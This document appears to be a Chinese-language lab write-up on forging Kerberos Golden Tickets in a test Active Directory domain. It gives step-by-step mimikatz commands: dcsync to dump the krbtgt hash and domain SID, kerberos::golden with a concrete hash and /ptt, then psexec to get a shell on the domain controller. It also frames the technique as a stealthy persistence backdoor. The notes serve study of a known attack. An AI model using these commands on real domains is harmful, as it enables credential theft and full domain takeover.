0x01:黄金票据
参考链接:https://blog.csdn.net/cj_Allen/article/details/104297452
https://www.freebuf.com/articles/system/197160.html
https://www.freebuf.com/sectool/112594.html
ms14068的漏洞原理是伪造域管的tgt,而黄金票据的漏洞原理是伪造krbtgt用户的票据,krbtgt用户是域控中用来管理发放票据的用户,拥有了该用户的权限,就可以伪造系统中的任意用户
AS确认Client端登录者用户身份
KDC返回的Msg B:使用 TGS密钥(KDCHash/krbtgt用户NTLMHash)
加密的TGT(Ticket-Granting-Ticket),当我们获取到krbtgt用户的NTLM哈希后,
便可主动使用krbtgt用户的NTLM哈希做为TGS密钥来生成TGT发送给KDC,
这样KDC如果通过解密伪造TGT获取到伪造的 [Client/TGS SessionKey] 可以成功解密 Authenticator 1
并完成与TGT中的数据进行比对,便成功骗过了KDC,也就是成功伪造了黄金票据
客户端用krbtgt伪造 TGT ,TGT中(TGS SessionKey、ClientID、有效时间、Client地址),KDC 再用这个TGS SessionKey 解密Authenticator1(Client ID,有效时间)
黄金票据:伪造的TGT和伪造的Authenticator1
可以获取任何kerberos服务权限
通过伪造的TGT(TicketGranting Ticket),因为只要有了高权限的TGT,那么就可以发送给TGS换取任意服务的ST。可以说有了金票就有了域内的最高权限。
制作黄金票据的条件
1、域名称
2、域的SID值
3、域的krbtgt账户密码HASH
4、伪造用户名,可以是任意的
实验环境
域名 ddg.admin.com
win 2008 DC1 192.168.91.2 默认网关192.168.91.1 (DC)
win7 192.168.91.131 默认网关192.168.91.2 win7 1qaz@WSX (Client)
实验测试
获取域管理权限
首先,我以较低的权限运行了mimikatz,这个权限为Windows工作站的本地用户,也就是我demo域成员。在这里,我们需要生成一张黄金票据(Golden Ticket),利用它来获得域管理权限。然后,咱们再使用mimikatz的dcsync功能,从域控制器获取hash。
清空当前票据
查看域控的C盘,是没有权限的
首先我们 需要先从域控中,或者是域内其他Client中导出krbtgt
用户的hash
,这里需要注意的是,krbtgt
用户只有在域控中才会存在。
当然了如果你有域控管理员的其他账号
,也是可以登录其他域其他机器来使用mimikatz.exe导出hash
的。
只有域控或者域管理员才能实现导出krbtgt用户的hash
看了一些教程加上自己的理解:
通过某种方法得到一个域管理员的账号密码,用域管理员导出krbtgt的密码HASH,然后制作黄金票据
用黄金票据得到主域控的权限,(或者如果是通过域控制作的黄金票据的话那就可以进一步干其他事情了?)
下面我用的是在上一个博客里 利用MS14-068漏洞拿到域控权限,生成的一个域管理员用户ms14-068
(1)获取krbtgt的密码HASH值和域的SID(mimikatz)
lsadump::dcsync /domain:hydra.com /user:krbtgt domian:后面是域控名 user后面是krbtgt用户
mimikatz 会模拟域控,向目标域控请求账号密码信息。 这种方式动静更小,不用直接登陆域控,也不需要提取NTDS.DIT文件。需要域管理员或者其他类似的高权限账户。
我试了一下,普通的域用户,会有报错ERROR
(2)在域内其他机器上制造金票(Client端)
我们在域控上面成功抓取了hash和sid,将hash和sid复制到其他域内机器中,也就是Client端,然后在mimikatz.exe执行kerberos::list
查看我们当前的票据。
然后在mimikatz.exe执行:kerberos::purge
意思就是清空当前用户登录的票据,通过下面的图片看到清空了以后,在执行list的时候,就没有任何的票据了。
伪造TGT票据(黄金票据)
kerberos::golden的意思是使用票据功能,/admin 后面的用户是我们可以伪造的任意用户,我这里用ceshi,/sid后面输入的就是我们之前抓到的sid,/krbtgt后面是之前抓到的hash, /ptt是立即执行到内存的意思。ps:一共有5个空格,这里需要注意下。
构造好了语句后,在Client端上执行,提示Successfully表示已经成功了。
或者先生成一个票据,在用 ptt 命令 导入票据
/admin:伪造的用户名 /domain:域名称 /sid:SID值,注意是去掉最后一个-后面的值 /krbtgt:krbtgt的HASH值 /ticket:生成的票据名称
普通用户都是无法访问域控的,或者有域控的权限
kerberos::golden /admin:test1 /domain:ddg.admin.com /sid:域SID /krbtgt:krbtgt用户密码的HASH /ticket:golden.test1
kerberos::ptt golden.test1
或者直接
kerberos::golden /admin:test1 /domain:ddg.admin.com /sid:域SID /krbtgt:krbtgt用户密码的HASH /ptt
我这里伪装的用户名为test1,生成的金票名为golden.test1
通过kerberos::list
查看当前票据,伪造成功(也可以通过cmd中klist
查看,这里需要注意的是cmd需要用管理员的方式运行)
然后我的低权限本地用户,就被提升到域管理权限了
此时能够查看主域控的C盘和用PsExec getshell主域控了
伪造的信息大约可以生效20分钟左右,在此期间不会被系统检查到。
利用dcsync功能获取hash
然后我通过DRSR协议,从域控制器获取用户user01的hash:
如果我们没有足够的权限(比如域管理)来查询带DRSR的域控制器,我们会得到error 5(权限不足)的提示:
为啥我导入了金票还是不能获取其他用户的hash(裂开)
总结:
第一步:在域控中,或者是域内机器中(域管理员用户权限登录),因为是需要抓取hash和sid的,所以必须要是管理员权限,命令如下:
lsadump::dcsync /domain:hydra.com /user:krbtgt
第二步:清除自己client端(域内其他机器)的票据:
kerberos::purge
第三步:查看票据(client端):(此时票据信息肯定是空的)
kerberos::list
第四步:伪造黄金票据(client端),这里的参数文章上面都介绍过了,这里不多介绍。
kerberos::golden /admin:ceshi /domain:hydra.com /sid:S-1-5-21-4188752632-3746001697-3968431413 /krbtgt:524f4bed4b8a362bda1a560b9779eadf /ptt
第五步:尝试使用psexec登录域控的cmd控制台(client端):
psexec.exe \dc.hydra.com cmd.exe
与其说是一种攻击方式,不如说是一种后门,当域控权限掉后,在通过域内其他任意机器伪造票据重新获取最高权限。
1